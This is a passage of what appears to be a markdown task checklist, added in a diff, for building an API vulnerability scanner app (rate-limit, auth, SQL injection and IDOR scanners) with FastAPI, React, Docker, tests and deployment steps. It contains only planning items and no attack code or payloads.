Add evidence collection (accessible IDs, endpoints)+- [ ] Add recommendations++---++## 🛣️ BACKEND - API ROUTES++### Routes - `backend/routes/`+- [ ] Create `backend/routes/__init__.py`+- [ ] Create `backend/routes/auth.py` with APIRouter+- [ ] Add POST /api/auth/register endpoint (returns UserResponse)+- [ ] Add POST /api/auth/login endpoint (returns TokenResponse)+- [ ] Add exception handling for ValueError in auth routes+- [ ] Create `backend/routes/users.py` with APIRouter+- [ ] Add GET /api/users/profile endpoint (protected)+- [ ] Add PUT /api/users/update endpoint (protected)+- [ ] Create `backend/routes/scans.py` with APIRouter+- [ ] Add POST /api/scans/run endpoint (async, protected)+- [ ] Add GET /api/scans/history endpoint (protected)+- [ ] Add GET /api/scans/{scan_id} endpoint (protected)++### Main Application+- [ ] Create `backend/main.py` with FastAPI app initialization+- [ ] Add CORS middleware with configured origins+- [ ] Include auth router with prefix /api/auth+- [ ] Include users router with prefix /api/users+- [ ] Include scans router with prefix /api/scans+- [ ] Add root health check endpoint GET /+- [ ] Add database table creation (Base.metadata.create_all)+- [ ] Configure docs URL as /api/docs+- [ ] Configure redoc URL as /api/redoc+- [ ] Add uvicorn run configuration if __name__ == "__main__"++---++## ⚛️ FRONTEND - FOUNDATION++### Vite + React + TypeScript Setup+- [ ] Initialize Vite project with React + TypeScript template in /frontend+- [ ] Create `frontend/tsconfig.json` with strict mode enabled+- [ ] Create `frontend/vite.config.ts` with path aliases (@/)+- [ ] Create `frontend/.eslintrc.cjs` with TypeScript rules+- [ ] Create `frontend/.prettierrc` with formatting rules+- [ ] Create `frontend/.env.example` with VITE_API_URL++### Package Installation+- [ ] Install React and React-DOM+- [ ] Install react-router-dom for routing+- [ ] Install @tanstack/react-query for server state+- [ ] Install zustand for UI state management+- [ ] Install axios for HTTP requests+- [ ] Install zod for validation+- [ ] Install react-hook-form for forms+- [ ] Install @hookform/resolvers for Zod integration+- [ ] Install @radix-ui/react-tabs for accessible tabs+- [ ] Install @radix-ui/react-dialog for modals+- [ ] Install recharts for data visualization+- [ ] Install react-icons for icons++### Frontend Structure+- [ ] Create `frontend/src/config/` directory+- [ ] Create `frontend/src/types/` directory+- [ ] Create `frontend/src/hooks/` directory+- [ ] Create `frontend/src/lib/` directory+- [ ] Create `frontend/src/store/` directory+- [ ] Create `frontend/src/services/` directory+- [ ] Create `frontend/src/components/` directory+- [ ] Create `frontend/src/pages/` directory+- [ ] Create `frontend/src/styles/` directory++---++## ⚙️ FRONTEND - CONFIGURATION++### Config Files - `frontend/src/config/`+- [ ] Create `frontend/src/config/constants.ts` with APP_CONFIG object+- [ ] Add ROUTES constants to constants.ts (LOGIN, REGISTER, DASHBOARD, etc.)+- [ ] Add UI_TEXT constants to constants.ts (buttons, headers, labels, placeholders, errors, success)+- [ ] Add SCAN_CONFIG constants to constants.ts (max requests, available tests)+- [ ] Add SEVERITY_CONFIG to constants.ts (colors, labels, icons)+- [ ] Create `frontend/src/config/api.ts` with API_CONFIG object+- [ ] Add BASE_URL to api.ts (from env var)+- [ ] Add TIMEOUT to api.ts+- [ ] Add all ENDPOINTS to api.ts (AUTH, SCANS, USERS)+- [ ] Create `frontend/src/config/theme.css` with CSS variables+- [ ] Add color variables (primary, status colors, backgrounds, text, borders)+- [ ] Add spacing variables to theme.css+- [ ] Add border-radius variables to theme.css+- [ ] Add shadow variables to theme.css+- [ ] Add transition variables to theme.css+- [ ] Add typography variables to theme.css+- [ ] Add z-index layer variables to theme.css++---++## 📝 FRONTEND - TYPES++### Type Definitions - `frontend/src/types/`+- [ ] Create `frontend/src/types/api.types.ts`+- [ ] Add LoginRequest interface to api.types.ts+- [ ] Add RegisterRequest interface to api.types.ts+- [ ] Add AuthResponse interface to api.types.ts+- [ ] Add UserResponse interface to api.types.ts+- [ ] Add TestType type union to api.types.ts+- [ ] Add ScanStatus type union to api.types.ts+- [ ] Add Severity type union to api.types.ts+- [ ] Add ScanRequest interface to api.types.ts+- [ ] Add ScanResult interface to api.types.ts+- [ ] Add ScanResponse interface to api.types.ts+- [ ] Create `frontend/src/types/scan.types.ts` for scanner-specific types+- [ ] Create `frontend/src/types/auth.types.ts` for auth-specific types++---++## 🔌 FRONTEND - API INTEGRATION++### API Client - `frontend/src/lib/`+- [ ] Create `frontend/src/lib/api.ts` with axios instance creation+- [ ] Configure axios baseURL from API_CONFIG+- [ ] Configure axios timeout+- [ ] Add request interceptor to attach JWT token from localStorage+- [ ] Add response interceptor to handle 401 errors (logout + redirect)+- [ ] Create `frontend/src/lib/queryClient.ts` with TanStack Query setup+- [ ] Configure default query options (refetchOnWindowFocus, retry, staleTime)+- [ ] Create `frontend/src/lib/utils.ts` for helper functions++### Services - `frontend/src/services/`+- [ ] Create `frontend/src/services/authService.ts`+- [ ] Add login() function to authService (store token in localStorage)+- [ ] Add register() function to authService+- [ ] Add logout() function to authService (remove token + redirect)+- [ ] Add getToken() function to authService+- [ ] Add isAuthenticated() function to authService+- [ ] Create `frontend/src/services/scanService.ts`+- [ ] Add runScan() function to scanService+- [ ] Add getScanHistory() function to scanService+- [ ] Add getScanById() function to scanService++---++## 🪝 FRONTEND - CUSTOM HOOKS++### Hooks - `frontend/src/hooks/`+- [ ] Create `frontend/src/hooks/useAuth.ts`+- [ ] Add useLogin() hook with useMutation (invalidates queries on success)+- [ ] Add useRegister() hook with useMutation+- [ ] Add useLogout() hook+- [ ] Add useAuth() hook (returns isAuthenticated + logout)+- [ ] Create `frontend/src/hooks/useScan.ts`+- [ ] Add useRunScan() hook with useMutation (invalidates scan history)+- [ ] Add useScanHistory() hook with useQuery+- [ ] Add useScan(scanId) hook with useQuery (enabled when scanId exists)+- [ ] Create `frontend/src/hooks/useLocalStorage.ts` for generic localStorage hook++---++## 🏪 FRONTEND - STATE MANAGEMENT++### Zustand Store - `frontend/src/store/`+- [ ] Create `frontend/src/store/uiStore.ts` with Zustand store+- [ ] Add theme state (dark/light) to uiStore+- [ ] Add setTheme() action to uiStore+- [ ] Add toggleTheme() action to uiStore+- [ ] Add sidebarOpen state to uiStore+- [ ] Add toggleSidebar() action to uiStore+- [ ] Add isLoading state to uiStore+- [ ] Add setLoading() action to uiStore+- [ ] Implement persist middleware for theme and sidebarOpen++---++## 🎨 FRONTEND - COMMON COMPONENTS++### Common Components - `frontend/src/components/common/`+- [ ] Create `frontend/src/components/common/Button.tsx`+- [ ] Add Button component with variant prop (primary, secondary, danger, success, ghost)+- [ ] Add size prop to Button (sm, md, lg)+- [ ] Add isLoading prop to Button (shows spinner)+- [ ] Create `frontend/src/styles/components/Button.css` with all variants+- [ ] Create `frontend/src/components/common/Input.tsx`+- [ ] Add Input component with label, error, and all HTML input props+- [ ] Create `frontend/src/styles/components/Input.css`+- [ ] Create `frontend/src/components/common/Card.tsx`+- [ ] Create `frontend/src/styles/components/Card.css`+- [ ] Create `frontend/src/components/common/Badge.tsx` for status/severity badges+- [ ] Create `frontend/src/styles/components/Badge.css` with severity colors+- [ ] Create `frontend/src/components/common/LoadingSpinner.tsx`+- [ ] Create `frontend/src/styles/components/LoadingSpinner.css`++---++## 🏗️ FRONTEND - LAYOUT COMPONENTS++### Layout - `frontend/src/components/layout/`+- [ ] Create `frontend/src/components/layout/Header.tsx`+- [ ] Add logo/app name to Header+- [ ] Add user email display to Header+- [ ] Add logout button to Header+- [ ] Add theme toggle to Header+- [ ] Create `frontend/src/styles/components/Header.css`+- [ ] Create `frontend/src/components/layout/Sidebar.tsx`+- [ ] Add navigation links to Sidebar (Dashboard, Scan, History)+- [ ] Add active route highlighting to Sidebar+- [ ] Create `frontend/src/styles/components/Sidebar.css`+- [ ] Create `frontend/src/components/layout/Layout.tsx` with Outlet+- [ ] Combine Header + Sidebar + main content area in Layout+- [ ] Create `frontend/src/styles/components/Layout.css`++---++## 🔐 FRONTEND - AUTH COMPONENTS++### Auth Components - `frontend/src/components/auth/`+- [ ] Create `frontend/src/components/auth/LoginForm.tsx`+- [ ] Add React Hook Form setup with Zod validation to LoginForm+- [ ] Add email field to LoginForm (validated with EmailStr)+- [ ] Add password field to LoginForm (min 8 chars)+- [ ] Add submit button with loading state to LoginForm+- [ ] Add error message display to LoginForm+- [ ] Add "Register" link to LoginForm+- [ ] Create `frontend/src/styles/components/LoginForm.css`+- [ ] Create `frontend/src/components/auth/RegisterForm.tsx`+- [ ] Add React Hook Form setup with Zod validation to RegisterForm+- [ ] Add email and password fields to RegisterForm+- [ ] Add password confirmation field to RegisterForm+- [ ] Add submit button with loading state to RegisterForm+- [ ] Add error message display to RegisterForm+- [ ] Add "Login" link to RegisterForm+- [ ] Create `frontend/src/styles/components/RegisterForm.css`++---++## 🔬 FRONTEND - SCAN COMPONENTS++### Scan Components - `frontend/src/components/scan/`+- [ ] Create `frontend/src/components/scan/ScanConfigForm.tsx`+- [ ] Add React Hook Form setup with Zod validation to ScanConfigForm+- [ ] Add target_url field to ScanConfigForm (validated as URL)+- [ ] Add auth_token field to ScanConfigForm (optional)+- [ ] Add tests_to_run checkboxes to ScanConfigForm (from SCAN_CONFIG)+- [ ] Add max_requests number input to ScanConfigForm (min/max from config)+- [ ] Add submit button with loading state to ScanConfigForm+- [ ] Add form error handling to ScanConfigForm+- [ ] Create `frontend/src/styles/components/ScanConfigForm.css`+- [ ] Create `frontend/src/components/scan/ScanResults.tsx`+- [ ] Add results summary header to ScanResults (total tests, vulnerabilities found)+- [ ] Add results grid to ScanResults (maps over results array)+- [ ] Add export button to ScanResults+- [ ] Create `frontend/src/styles/components/ScanResults.css`+- [ ] Create `frontend/src/components/scan/ResultCard.tsx`+- [ ] Add test name header to ResultCard+- [ ] Add status badge to ResultCard (uses SEVERITY_CONFIG for colors/icons)+- [ ] Add details section to ResultCard+- [ ] Add evidence section to ResultCard (formatted JSON)+- [ ] Add recommendations list to ResultCard+- [ ] Add conditional styling for vulnerable vs safe in ResultCard+- [ ] Create `frontend/src/styles/components/ResultCard.css`+- [ ] Create `frontend/src/components/scan/ScanHistory.tsx`+- [ ] Add table/list view to ScanHistory+- [ ] Add date, target URL, vulnerabilities count to each history item+- [ ] Add "View Details" button to each history item+- [ ] Create `frontend/src/styles/components/ScanHistory.css`++---++## 📄 FRONTEND - PAGES++### Pages - `frontend/src/pages/`+- [ ] Create `frontend/src/pages/LoginPage.tsx`+- [ ] Add LoginForm component to LoginPage+- [ ] Add page title and description to LoginPage+- [ ] Create `frontend/src/styles/pages/LoginPage.css`+- [ ] Create `frontend/src/pages/RegisterPage.tsx`+- [ ] Add RegisterForm component to RegisterPage+- [ ] Add page title and description to RegisterPage+- [ ] Create `frontend/src/styles/pages/RegisterPage.css`+- [ ] Create `frontend/src/pages/DashboardPage.tsx`+- [ ] Add welcome message to DashboardPage+- [ ] Add quick stats (total scans, recent vulnerabilities) to DashboardPage+- [ ] Add recent scan results to DashboardPage+- [ ] Create `frontend/src/styles/pages/DashboardPage.css`+- [ ] Create `frontend/src/pages/ScanPage.tsx`+- [ ] Add ScanConfigForm to ScanPage+- [ ] Add ScanResults display to ScanPage (conditional on scan completion)+- [ ] Create `frontend/src/styles/pages/ScanPage.css`+- [ ] Create `frontend/src/pages/HistoryPage.tsx`+- [ ] Add ScanHistory component to HistoryPage+- [ ] Add pagination to HistoryPage+- [ ] Create `frontend/src/styles/pages/HistoryPage.css`++---++## 🎯 FRONTEND - APP SETUP++### Main App Files+- [ ] Create `frontend/src/App.tsx` with React Router setup+- [ ] Add Routes for /login, /register to App.tsx+- [ ] Add ProtectedRoute wrapper component to App.tsx+- [ ] Add Routes for /, /scan, /history (all protected) to App.tsx+- [ ] Add Layout wrapper for protected routes in App.tsx+- [ ] Create `frontend/src/main.tsx` entry point+- [ ] Add QueryClientProvider to main.tsx+- [ ] Add BrowserRouter to main.tsx+- [ ] Import theme.css in main.tsx+- [ ] Import index.css in main.tsx+- [ ] Create `frontend/src/styles/index.css` with global styles+- [ ] Add CSS reset/normalize to index.css+- [ ] Add global font families to index.css+- [ ] Add global box-sizing to index.css+- [ ] Update `frontend/index.html` with app title and meta tags++---++## 🐳 DOCKER CONFIGURATION++### Docker Files - `/conf/`+- [ ] Create `conf/Dockerfile.backend`+- [ ] Add Python 3.11-slim base image to Dockerfile.backend+- [ ] Add WORKDIR /app to Dockerfile.backend+- [ ] Add requirements.txt COPY and pip install to Dockerfile.backend+- [ ] Add application code COPY to Dockerfile.backend+- [ ] Add EXPOSE 8000 to Dockerfile.backend+- [ ] Add CMD with uvicorn to Dockerfile.backend+- [ ] Create `conf/Dockerfile.frontend`+- [ ] Add Node 20-alpine base image to Dockerfile.frontend+- [ ] Add WORKDIR /app to Dockerfile.frontend+- [ ] Add package.json COPY and npm ci to Dockerfile.frontend+- [ ] Add application code COPY to Dockerfile.frontend+- [ ] Add EXPOSE 5173 to Dockerfile.frontend+- [ ] Add CMD with npm run dev to Dockerfile.frontend+- [ ] Create `conf/nginx.conf`+- [ ] Add events block with worker_connections to nginx.conf+- [ ] Add upstream backend block to nginx.conf+- [ ] Add upstream frontend block to nginx.conf+- [ ] Add server block listening on port 80 to nginx.conf+- [ ] Add location / proxy to frontend in nginx.conf+- [ ] Add location /api proxy to backend in nginx.conf+- [ ] Add WebSocket upgrade headers to nginx.conf++### Docker Compose+- [ ] Create `docker-compose.yml` at project root+- [ ] Add PostgreSQL 16-alpine service to docker-compose.yml+- [ ] Configure postgres environment variables (user, password, db)+- [ ] Add postgres port mapping 5432:5432+- [ ] Add postgres volume for data persistence+- [ ] Add postgres healthcheck+- [ ] Add backend service to docker-compose.yml+- [ ] Configure backend build context and Dockerfile path+- [ ] Add backend environment variables (DATABASE_URL, SECRET_KEY, DEBUG)+- [ ] Add backend port mapping 8000:8000+- [ ] Add backend depends_on db with health condition+- [ ] Add backend volume for hot reload+- [ ] Add backend command with --reload flag+- [ ] Add frontend service to docker-compose.yml+- [ ] Configure frontend build context and Dockerfile path+- [ ] Add frontend environment variable VITE_API_URL+- [ ] Add frontend port mapping 5173:5173+- [ ] Add frontend volumes (code + node_modules)+- [ ] Add frontend command with --host flag+- [ ] Add nginx service to docker-compose.yml (production profile)+- [ ] Configure nginx port 80:80+- [ ] Add nginx volume for config file+- [ ] Add nginx depends_on backend and frontend+- [ ] Define postgres_data volume at bottom of docker-compose.yml++### Environment Configuration+- [ ] Create `.env` file at project root (copy from .env.example)+- [ ] Set SECRET_KEY in .env (generate random key)+- [ ] Set DEBUG=true for development in .env+- [ ] Set DATABASE_URL in .env+- [ ] Create `frontend/.env` file+- [ ] Set VITE_API_URL=http://localhost:8000 in frontend/.env++---++## 🧪 TESTING++### Backend Testing+- [ ] Create `backend/tests/__init__.py`+- [ ] Create `backend/tests/conftest.py` with pytest fixtures+- [ ] Add test database fixture to conftest.py+- [ ] Add test client fixture to conftest.py+- [ ] Create `backend/tests/test_auth_service.py`+- [ ] Add test for user registration in test_auth_service.py+- [ ] Add test for user login in test_auth_service.py+- [ ] Add test for duplicate email in test_auth_service.py+- [ ] Create `backend/tests/test_scan_service.py`+- [ ] Add test for successful scan in test_scan_service.py+- [ ] Add test for concurrent scanner execution in test_scan_service.py+- [ ] Create `backend/tests/test_scanners/` directory+- [ ] Add test for rate limit scanner+- [ ] Add test for auth scanner+- [ ] Add test for SQLi scanner+- [ ] Add test for IDOR scanner+- [ ] Create `backend/tests/test_routes/` directory+- [ ] Add test for auth endpoints+- [ ] Add test for scan endpoints++### Frontend Testing+- [ ] Install vitest, @testing-library/react, @testing-library/user-event+- [ ] Create `frontend/vitest.config.ts`+- [ ] Create `frontend/src/tests/setup.ts` with testing setup+- [ ] Create `frontend/src/components/__tests__/` directory+- [ ] Add Button component tests+- [ ] Add Input component tests+- [ ] Add LoginForm tests+- [ ] Add ScanConfigForm tests+- [ ] Create `frontend/src/hooks/__tests__/` directory+- [ ] Add useAuth hook tests+- [ ] Add useScan hook tests++---++## 📚 DOCUMENTATION++### README Files+- [ ] Create comprehensive root `README.md`+- [ ] Add project overview to README+- [ ] Add features list to README+- [ ] Add tech stack to README+- [ ] Add quick start guide to README+- [ ] Add Docker setup instructions to README+- [ ] Add local development setup to README+- [ ] Add API documentation link to README+- [ ] Add contribution guidelines to README+- [ ] Add license to README+- [ ] Create `backend/README.md` with backend-specific docs+- [ ] Create `frontend/README.md` with frontend-specific docs++### Code Documentation+- [ ] Add docstrings to all backend functions/classes+- [ ] Add JSDoc comments to all frontend functions/components+- [ ] Add inline comments for complex logic in backend+- [ ] Add inline comments for complex logic in frontend++### API Documentation+- [ ] Verify FastAPI auto-generated docs at /api/docs work+- [ ] Verify ReDoc at /api/redoc works+- [ ] Create Postman/Insomnia collection for API testing (optional)++---++## 🚀 DEPLOYMENT PREPARATION++### Production Configuration+- [ ] Create production `.env.example` with secure defaults+- [ ] Add HTTPS configuration to nginx.conf (commented out)+- [ ] Add Gunicorn configuration for backend+- [ ] Add production build script to frontend package.json+- [ ] Create production docker-compose.prod.yml+- [ ] Add health check endpoints to backend+- [ ] Add frontend build optimization in vite.config.ts++### Security Hardening+- [ ] Add rate limiting to FastAPI backend+- [ ] Add CORS whitelist for production+- [ ] Add CSP headers to nginx+- [ ] Add security headers to nginx (X-Frame-Options, etc.)+- [ ] Add input sanitization to frontend+- [ ] Verify JWT expiration works correctly+- [ ] Verify password hashing uses bcrypt++---++## ✅ FINAL CHECKS++### Code Quality+- [ ] Run pylint/ruff on backend code+- [ ] Run ESLint on frontend code+- [ ] Run Prettier on frontend code+- [ ] Format backend code with yapf/black+- [ ] Check all type hints in backend+- [ ] Check all TypeScript types in frontend+- [ ] Verify no `any` types in frontend+- [ ] Verify no magic numbers/strings in backend+- [ ] Verify no magic numbers/strings in frontend++### Functionality Testing+- [ ] Test user registration flow end-to-end+- [ ] Test user login flow end-to-end+- [ ] Test JWT token expiration and refresh+- [ ] Test rate limit scanner against test API+- [ ] Test auth scanner against test API+- [ ] Test SQLi scanner against test API+- [ ] Test IDOR scanner against test API+- [ ] Test scan history retrieval+- [ ] Test scan results display+- [ ] Test export functionality (if implemented)+- [ ] Test responsive design on mobile+- [ ] Test responsive design on tablet+- [ ] Test responsive design on desktop++### Performance+- [ ] Check backend API response times+- [ ] Check frontend initial load time+- [ ] Verify lazy loading works for routes+- [ ] Verify TanStack Query caching works+- [ ] Check database query performance+- [ ] Add indexes to database tables if needed++### Git & GitHub+- [ ] Initialize git repository+- [ ] Create `.gitignore` (node_modules, .env, __pycache__, etc.)+- [ ] Make initial commit+- [ ] Create GitHub repository+- [ ] Push to GitHub+- [ ] Add repository description+- [ ] Add repository topics/tags+- [ ] Create LICENSE file+- [ ] Add screenshots to README+- [ ] Add demo GIF/video to README++---++## 📊 PROJECT METRICS++**Total Tasks:** 390++**Estimated Time:** 8-12 hours+**Completed:** 0%++---++## 🎯 PRIORITY ORDER (What to Build First)++1. **Backend Foundation** (config, core, models, schemas)+2. **Backend Repositories & Services** (data + business logic)+3. **Backend Routes** (API endpoints)+4. **One Scanner** (rate limit - simplest)+5. **Frontend Foundation** (config, types, services)+6. **Frontend Auth** (login/register pages)+7. **Frontend Scan Page** (form + results)+8. **Remaining Scanners** (auth, SQLi, IDOR)+9. **Docker Setup** (get everything running together)+10. **Testing & Polish** (tests, docs, final touches)++---++**Last Updated:** 2025-11-08+**Current Phase:** Setup